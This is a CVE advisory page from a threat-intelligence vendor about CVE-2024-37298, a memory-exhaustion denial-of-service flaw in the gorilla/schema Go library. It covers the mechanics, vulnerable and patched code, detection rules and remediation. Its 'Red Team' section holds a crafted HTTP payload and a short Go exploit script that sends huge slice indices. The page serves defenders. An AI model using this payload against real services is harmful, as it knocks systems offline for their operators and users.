☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 🐛 CWE-770
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-37298

CVE-2024-37298 Supply Chain Attack in Gorilla
📅 PUBLISHED: 2024-07-01 18:27 UTC 🔄 UPDATED: 2026-10-02 19:31 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.10%
👁️
1.10% probability
27.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-37298 is a high-severity (CVSS 7.5) memory exhaustion vulnerability in the gorilla/schema Go library, which is used to convert structs to and from form values. The vulnerability resides in the schema.Decoder.Decode() function when processing structs containing fields of type []struct{...}. An attacker can craft malicious input that exploits the sparse slice functionality, causing uncontrolled memory allocation and leading to a denial of service (DoS) condition. The vulnerability affects all versions prior to 1.4.1. No public proof-of-concept (PoC) or exploit code has been identified at this time, but the attack vector is straightforward for any application that decodes user-supplied form data into nested struct slices.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the gorilla/schema Go package, which is widely used in Go web applications for form parsing. The package is distributed via the Go module proxy and is a direct dependency for many projects. Organizations using this library should immediately update to version 1.4.1 or later. Since the vulnerability is in a core parsing function, any application that accepts user input and decodes it into structs with slice fields is at risk. Supply chain risk is elevated due to the library's popularity and the ease of exploitation.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: None
  • Availability Impact: High

The vulnerability is easily exploitable remotely without authentication, making it a significant threat to availability. The lack of confidentiality or integrity impact reduces the overall score, but the potential for service disruption is severe.

Deep Dive & Mechanics

The gorilla/schema library provides functions to decode URL-encoded form values into Go structs. The vulnerability is in the handling of sparse slices—slices where indices are not contiguous. When schema.Decoder.Decode() processes a struct with a field of type []struct{...}, it allocates memory based on the maximum index provided in the input. An attacker can supply form values with very high indices (e.g., field[99999999].subfield=value), causing the library to allocate a slice of that size. This results in rapid memory exhaustion, leading to a denial of service.

The core issue is that the library does not validate or limit the index values before allocation. The patch in version 1.4.1 introduces bounds checking and limits on slice growth to prevent this attack.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.4.1):

// In schema/decoder.go
func (d *Decoder) decodeSlice(v reflect.Value, src map[string][]string, key string) error {
    // ...
    for k, values := range src {
        // Directly uses index from key without validation
        index, _ := strconv.Atoi(k)
        // Allocates slice up to index
        if index >= v.Len() {
            v.Set(reflect.MakeSlice(v.Type(), index+1, index+1))
        }
        // ...
    }
    return nil
}

Patched Code (1.4.1):

// In schema/decoder.go
func (d *Decoder) decodeSlice(v reflect.Value, src map[string][]string, key string) error {
    // ...
    const maxSliceSize = 1024 * 1024 // 1M elements limit
    for k, values := range src {
        index, _ := strconv.Atoi(k)
        if index >= maxSliceSize {
            return fmt.Errorf("slice index %d exceeds maximum allowed size", index)
        }
        if index >= v.Len() {
            newLen := index + 1
            if newLen > maxSliceSize {
                return fmt.Errorf("slice length %d exceeds maximum allowed size", newLen)
            }
            v.Set(reflect.MakeSlice(v.Type(), newLen, newLen))
        }
        // ...
    }
    return nil
}

The patch adds a maximum slice size constant and checks to prevent allocation beyond that limit.

Exploitation & Lab Setup

Red Team

Attack Scenario: An attacker sends a crafted HTTP request to a vulnerable application that uses gorilla/schema to decode form data. The request includes a field with an extremely high index, causing memory exhaustion.

Example Payload:

POST /submit HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

items[99999999].name=test&items[99999999].value=123

Exploit Script (Go):

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "strings"
)

func main() {
    // Craft malicious form data
    data := url.Values{}
    data.Set("items[99999999].name", "test")
    data.Set("items[99999999].value", "123")

    // Send request
    resp, err := http.Post("http://target.com/submit", "application/x-www-form-urlencoded", strings.NewReader(data.Encode()))
    if err != nil {
        fmt.Println("Error:", err)
        return
    }
    defer resp.Body.Close()
    fmt.Println("Response status:", resp.Status)
}

Expected Outcome: The target application's memory usage spikes, potentially causing the process to be killed by the OOM killer or the service to become unresponsive.

Blue Team

Detection: Monitor for unusual memory consumption patterns in applications using gorilla/schema. Look for HTTP requests with form parameters containing very large array indices.

Mitigation Steps:

  1. Immediately update gorilla/schema to version 1.4.1 or later.
  2. Implement input validation to reject form data with excessively large indices before it reaches the decoder.
  3. Set memory limits on the application process (e.g., using cgroups or container limits).
  4. Deploy Web Application Firewall (WAF) rules to block requests with suspiciously large array indices.

WAF Rule Example (ModSecurity):

SecRule ARGS_NAMES "@rx ^[a-zA-Z]+\[\d{6,}\]" "id:1001,phase:2,deny,status:403,msg:'Potential memory exhaustion attack via large slice index'"

Indicators of Compromise (IOCs)

  • Network: HTTP requests containing form parameters with array indices exceeding 1,000,000 (e.g., field[99999999]).
  • System: Rapid increase in memory usage by the application process, leading to OOM killer events.
  • Logs: Application logs showing errors like "slice index exceeds maximum allowed size" (after patching) or crashes without clear error messages (before patching).
  • File: No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_37298_Memory_Exhaustion {
    meta:
        description = "Detects potential memory exhaustion attack via gorilla/schema sparse slice"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-37298"
    strings:
        $s1 = /items?\[\d{6,}\]/ nocase
        $s2 = /\[\d{6,}\]\./ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-37298 Memory Exhaustion via Sparse Slice
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with large array indices targeting gorilla/schema
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|re: '\[\d{6,}\]'
    condition: selection
falsepositives:
    - Legitimate use of large arrays (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37298 Memory Exhaustion Attempt"; flow:to_server; content:"POST"; http_method; content:"["; http_client_body; pcre:"/\[\d{6,}\]/R"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Upgrade gorilla/schema to version 1.4.1 or later. Run go get github.com/gorilla/schema@v1.4.1 in your project.
  2. Input Validation: Implement application-level validation to reject form data with array indices exceeding a reasonable limit (e.g., 1000).
  3. Resource Limits: Configure memory limits for the application process using container orchestration (e.g., Kubernetes resource limits) or OS-level controls (e.g., ulimit).
  4. Monitoring: Set up alerts for abnormal memory usage and HTTP requests with suspicious patterns.
  5. WAF Rules: Deploy WAF rules to block requests with large array indices as shown in the Blue Team section.
  6. Code Review: Audit any code that uses schema.Decoder.Decode() with user-supplied data to ensure it is not vulnerable to similar issues.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-37298/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.